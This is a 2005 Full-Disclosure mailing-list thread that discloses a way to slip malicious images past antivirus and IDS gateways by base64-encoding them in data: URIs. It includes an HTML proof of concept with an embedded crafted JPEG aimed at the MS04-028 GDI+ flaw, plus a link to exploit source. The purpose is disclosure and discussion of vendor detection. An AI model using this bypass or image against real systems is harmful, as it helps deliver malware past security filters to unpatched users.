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Re: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability

Hello Danny,
This vulnerability is only applicable to the HTTP data while in transit. Once received by the client the image will be rendered and subsequently detected if local AV software.
At the present time, I'm not aware of any AV, IDS or IPS vendor that will detect malicious images imbedded in HTML in this manner. 


Thank you,

Darren Bounds
Intrusense, LLC.

--
Intrusense - Securing Business As Usual



On Jan 11, 2005, at 2:14 PM, Danny wrote:


On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
<dbounds@xxxxxxxxxxxxxx> wrote:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Multi-vendor AV gateway image inspection bypass vulnerability
January 10, 2005

A vulnerability has been discovered which allows a remote attacker to
bypass anti-virus
(as well other security technologies such as IDS and IPS) inspection of 
HTTP image content.

By leveraging techniques described in RFC 2397 for base64 encoding
image content within
the URL scheme. A remote attack may encode a malicious image within the 
body of an HTML
formatted document to circumvent content inspection.

For example:

http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php

The source code at the URL above will by default create a JPEG image
that will attempt (and fail
without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability. 
The image itself is detected
by all AV gateway engines tested (Trend, Sophos and McAfee), however,
when the same image
is base64 encoded using the technique described in RFC 2397 (documented 
below), inspection
is not performed and is delivered rendered by the client.

While Microsoft Internet Explorer does not support the RFC 2397 URL
scheme; Firefox, Safari,
Mozilla and Opera do and will render the data and thus successfully
execute the payload if the necessary
OS and/or application patches have not been applied.

## BEGIN HTML ##

<html>
<body>
<img
src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
/ X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF B QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU FB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/ bAEMACAYGBwYFCAcHBwkJ CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv /b AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj Iy MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/ xAAfAAABBQEBAQEBAQAAAAAAAAAA AQIDBAUGBwgJCgv/ xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2 Rl ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc bH yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/ xAAfAQADAQEBAQEBAQEBAAAAAAAA AQIDBAUGBwgJCgv/ xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWm Nk ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8 TF xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/ APn+iiigD// 
Z">
</body>
</html>

## END HTML ##

Solution:

While AV vendor patches are not yet available, fixes for all currently
known image vulnerabilities are
and have been for several months.  If you have not yet applied them,
you have your own
negligence to blame.

Contributions:

Thanks to Scott Roeder and Jacinto Rodriquez their assistance in
platform testing.


I believe TrendMicro's OfficeScan (client-server scanner) will catch
it, but I am not sure about their gateway device. What was their
response?

...D